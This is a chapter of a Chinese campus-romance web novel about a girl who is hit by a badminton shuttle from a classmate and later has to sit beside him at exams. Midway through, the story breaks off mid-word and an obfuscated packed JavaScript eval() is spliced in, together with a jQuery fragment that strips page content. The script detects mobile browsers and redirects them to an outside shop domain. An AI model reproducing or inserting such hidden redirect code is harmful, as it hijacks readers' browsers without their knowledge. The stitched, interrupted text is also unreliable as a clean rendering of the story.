为了一个换组的事浪费了很长时间,等温言蹊真正跟陆予笙对打的时候才发现自己一开始的保证有多么可笑。
为了让陆予笙同意换组她借口说自己技术还行,但这个还行是相对性的,对于同为小白的人她确实打的还可以,但一看见陆予笙的抬手动作她就初见端倪。
这哪里是小白,分明是打了多年的老手,拍子刚接触到球就发出了一声爆破音。
温言蹊看着高速飞过来的球手足无措,刚想跳起来接结果跳早了,眼睁睁地看着羽毛球擦着球拍打在了她眉毛上。
......
好疼。
她捂着半张脸,不明白自己怎么就跟球过不去了,不止是球,还有陆予笙这个人。
陆予笙脸上罕见地露出了一片茫然,他没想到温言蹊没接住,慌忙抬起手,想看看她有没有受伤。
“等下,”温言蹊后退一步,避开了他的手,“我没事,你先别动。”
她脑子里像是忽然冒出了一个天使和一个恶魔在吵架。
恶魔蹊:我就说了吧,他这人报复心强,还是跟以前一样讨厌。
天使蹊:别这么说,老师不是说了他技术好吗,只是不知道他会这么好,而且人家也不是故意的。
恶魔蹊:哼,你怎么知道他不是故意的,要不然你也不可能对他印象那么差。
温言蹊使劲甩了甩脑袋,要把脑子里两个声音甩走。不管怎么样这都是她自己选的,现在想这些有的没的已经晚了。
一旁的陆予笙在看见她后退的动作时就不敢动了。他蜷起手指,默默地放下,一种莫名的落寞在他的心脏处蔓延。
“抱歉,我没控制住力道。”
温言蹊揉了揉眉毛,等疼劲缓过去后才看见陆予笙低垂着头站在一边,听他的语气好像还听出了一种可怜感。
她觉得自己一定是疯了,摆摆手解释:“没事,不是你的问题,只是打到一下眉毛,现在已经不疼了。”
但陆予笙还是没动,只抬着眼看她,越看越像一只做错事的小狗。
温言蹊在心底疯狂尖叫,我真是上辈子欠你的,他不会是老天专门派过来克她的吧。
她没眼看,默念别生气别生气,最后深深叹了一口气:
“好了,你现在可以动了......”
后面陆予笙打得小心翼翼,挥拍时收了力气。
温言蹊也打的越来越有手感,基本上对面发的球轨迹都是正的,她都不用动,直接站在原地就能接,还免了她弯腰捡球。
是的没错,她不会用球拍捞球,但好在陆予笙从没让球落下来过。
下课后,季明怡和舒澄宁询问她刚刚有没有出事。
“哎,说来话长。”这一节课比考了一整天考试还让她心累,她已经没脑子再从头讲述。
好在章之涵有着专业的吃瓜素养,将刚刚的事一比一还原说给了她们听。
“天呐,要被这些有钱人吓死了,”季明怡感慨,“言蹊我都要怜爱你了,我那个算命大师可以推荐给你,你要不要算算。”
温言蹊自闭地不想再思考这些事:“谢谢你啊,我怕再给我算出什么倒霉的事,现在什么都不知道反倒给了我一种薛定谔的希望。”
“行吧,但是我得再提醒你一点,我们这次期中考试估计是要跟他们班合班考,你要有心理准备。”
“什么?你在哪听见的消息?”温言蹊觉得自己的脑子又开始疼了,绝对是上次留下来的后遗症。
舒澄宁看温言蹊的反应如此大,接过季明怡的话补充道:“你别担心,于凯成绩不好,不可能跟你一个考场的。”
我担心的是这个吗,我担心的分明是——
“但是你跟陆予笙一个考场是没跑了。”舒澄宁把最后一句话说完,仔细观察着温言蹊的表情。
“谁问他了?”温言蹊一听见这个名字她的眉毛就开始幻痛,像只炸毛的猫。
那之后,温言蹊与陆予笙多了个体育课要见面的交集,不过也还好,一周就两节体育课。
温言蹊劝自己放宽心,事情都在可控范围不是吗?
一直到期中考试的座位表排出来后,温言蹊再次知道什么叫孽缘。
标着她名字的方框旁边,赫然写着“陆予笙”三个大字。
但更巧的是这一个考场全是熟人。
季明怡上次月考请神上身,进步非常大,也进了这个考场,她激动地痴笑了一整天,扬言要她爸多给她点零花钱。
“这就是坐在第一考场的感觉吗?太神圣了。”
舒澄宁觉得季明怡没出息:
“没见过你考试还有这么兴奋的时候,以后多考几次第一考场不就行了。”
“诶呀你懂什么,我这次能进第一考场完全是运气,以后估计就没有了。”
季明怡宝贝般地摸了摸自己的座位号,刚想招呼坐在前面的温言蹊过来,就看见门口进来了两个人。
“咦?温同学,你也在这啊!”江寻从陆予笙后面跳起来,冒出个头,惊喜地问候老熟人。
被打断复习的温言蹊在听见声音后忽然绷紧了神经,她迅速调整好表情,抬头露出了一个礼貌的假笑:
“是啊好巧啊。”
一点都不巧,我就不信你们没有提前看座位表。
与江寻形成鲜明对比的是陆予笙今天看上去还挺冷淡,只是向她点点头算作打招呼。
温言蹊觉得他有点反常,但是又想到这人不是一直都是这样吗,怎么自己反倒先不适应起来了。
而在温言蹊看不见的地方,陆予笙再一次被她调动了心绪。
在看见温言蹊对他笑的时候,陆予笙就忘记了自己要怎么面对她。
早在考试前他就看见了座位表,看着自己旁边标着的名字他下意识觉得缘分真是挡不住。
这还是陆予笙第一次正面看见她的笑容。
今日阳光很好,但教室里的窗帘依旧紧闭,他才发觉不是外面的阳光耀眼,而是里面的笑容灿烂。
所以她很开心吗,是开心可以坐在他旁边,还是开心再次遇见他?
想到这他的心脏处像是被什么东西戳了一下,泛起悸动的涟漪,一圈一圈,层层叠加。
他再次想,如果江寻当初是这么追人的话或许还有成功的概率。
温言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732131|208783||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蹊继续看着笔记,她觉得自己这一点还是挺好的,一学习起来就会忘了周围的人和事,一心一意沉浸在自己的世界里。
为期两天的考试结束的很快,温言蹊捏了捏手指,放松筋骨,等着老师宣布回班级。
结果没等到宣布,倒是等到了梅琴凤。
“同学们都注意了,之前提早放学太乱了不好管控,这次开始我们考完试要留在本考场自习,到点了才能放学,我会时不时过来监督纪律,你们都安安静静的做自己的事。”
“对了,咱班班长在不在,来来来,先组织大家把这桌子摆一摆,都归位。”
梅琴凤丝毫没觉得这有什么问题,好像完全没在意考场还有其他班的人。
班上人都起身拖动桌子,像是地震了一样。
“轻点,桌子都抬起来,别吵着其他班自习。”梅琴凤在讲台上指挥,一会说这里不干净一会说摆歪了。
“她也知道声音大啊,那还非得现在收拾。”季明怡就是不听,还是在地上拖桌子,反正教室的声音依旧很大。
“舒儿你搬好了吗,在看啥呢?”季明怡叫她,结果被舒澄宁一只手抵住了嘴。
“嘘——看那边。”
舒澄宁一脸神秘,季明怡顺着手指的方向看过去,发现陆予笙在帮温言蹊搬桌子,动作迅速不拖沓。
她挣脱开季明怡的手,满脸疑惑:“这怎么了,男生帮忙不是挺正常的,哪里不对吗?”
“诶,”舒澄宁一副恨铁不成钢的表情,“你看那么多丝绸都白看了。”
“什么白看了?”季明怡摸不着头脑,忽然,她明白了什么,转头震惊地看着她。
舒澄宁以为她懂了,期待地等着她的回答,结果季明怡却说:
“我去了,你怎么知道我看丝绸?!”
舒澄宁狠狠翻了个白眼:“你脑子里只有这种事吗?你天天跟别人讨论的时候也没见你避着谁,想不知道都难。”
“不是,你也知道啊,我居然不知道你知道,我一直以为你是那种——”
“哪种?什么都不知道的好学生?我跟你讲我六年级就是同人文写手了,我在大眼上还有大V认证的好不好,我懂得多着呢。”
季明怡目瞪口呆,好半天才从喉咙里挤出一句话:“太太竟在我身边?!你怎么现在才说啊!”
舒澄宁摆好凳子坐下,随意地说:“主要是现在不写了,要专心学习,账号好久都没经营了。”
这一边,温言蹊怎么也想不到还有跟陆予笙做同桌的一天,他们不是老死不相往来的关系吗?不是说以后不会再有交集了吗?
在他旁边温言蹊怎么坐都不自在,悄悄调整了好几个坐姿。
“椅子上有刺?”
温言蹊听见这话动作一僵,脸直接黑了一个度。
不说话没人把他当哑巴......
陆予笙见身旁的人一直在动,她的椅子是旧椅子,确实有木刺存在的风险。他怕她为了面子不好意思说,索性自己替她说了出来。
但是说完后他就后悔了,这句话误会性太强,会不会让她觉得自己在关心她,然后变得更加喜欢他了。